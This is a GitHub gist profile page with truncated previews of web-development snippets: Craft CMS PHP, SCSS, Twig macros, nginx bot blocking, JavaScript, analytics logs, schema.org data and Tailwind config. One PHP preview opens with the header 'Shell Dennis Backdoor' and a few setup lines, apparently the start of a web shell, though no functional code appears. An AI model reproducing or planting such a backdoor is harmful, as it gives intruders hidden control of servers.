Skip to content

Instantly share code, notes, and snippets.

View davidhellmann's full-sized avatar
🤔
Focusing

David Hellmann davidhellmann

🤔
Focusing
View GitHub Profile
<?php
namespace modules;
use Craft;
// Elements
use craft\elements\Asset;
use craft\elements\Category;
// Events
@davidhellmann
davidhellmann / input.scss
Created October 18, 2020 17:55
Generated by SassMeister.com.
@mixin space($properties: padding, $factor: 1, $important: null) {
$multi: 1;
@if type-of($factor) == number {
@if $factor < 0 {
$factor: $factor * -1;
$multi: -1;
}
// Set Vars
{#
Image Helper
------------------------------------------------------------
{% import '_macros/_macro-imageHelper.twig' as image %}
#}
{% apply spaceless %}
{# Get Image Extension #}
{%- macro getImageExtension(image) -%}
<?php
set_time_limit(0);
ini_set('display_errors', 0);
ini_set('display_startup_errors', 0);
error_reporting(E_ALL);
include('pdf.php');
function query_str($params) {
<?php
//Shell Dennis Backdoor
//Redesign By Dennis
//
set_time_limit(0);
error_reporting(0);
if(get_magic_quotes_gpc()){
# FORGE CONFIG (DOT NOT REMOVE!)
include forge-conf/bestwebsite.gallery/before/*;
# Bots to ban via user agent
map $http_user_agent $limit_bots {
default 0;
~*(AhrefsBot|Baiduspider|PaperLiBot) 1;
}
server {
/**
* ScrollMonitor
*/
const scrollMonitorScript = {
cfg: {
selectors: {
waypoint: '[waypoint]',
waypointTarget: '[waypoint-target]',
},
Auf seiten wo es geht kommt im GA Debugger das:
analytics_debug.js:25 Initializing Google Analytics.
analytics_debug.js:25 Loading resource for plugin: ec
analytics_debug.js:25 Loading script: "https://www.google-analytics.com/plugins/ua/ec.js"
analytics_debug.js:25 Running command: ga("create", "UA-XXX-XXX", {name: "gtm1", cookieDomain: "auto"})
analytics_debug.js:25 Running command: ga("gtm1.set", "&gtm", "XXX")
analytics_debug.js:25 Running command: ga("gtm1.set", {anonymizeIp: true})
analytics_debug.js:25 Running command: ga("gtm1.set", "hitCallback", [function])
analytics_debug.js:25 Running command: ga("gtm1.send", "pageview")
{
"@context": "http://schema.org",
"@graph": [
{
"@type": "AboutPage",
"author": {
"@id": "https://www.schaper-wels.at/#identity"
},
"copyrightHolder": {
"@id": "https://www.schaper-wels.at/#identity"
/*
** TailwindCSS Configuration File
**
** Docs: https://tailwindcss.com/docs/configuration
** Default: https://github.com/tailwindcss/tailwindcss/blob/master/stubs/defaultConfig.stub.js
*/
// Cols Function
function cols(col, context, unit) {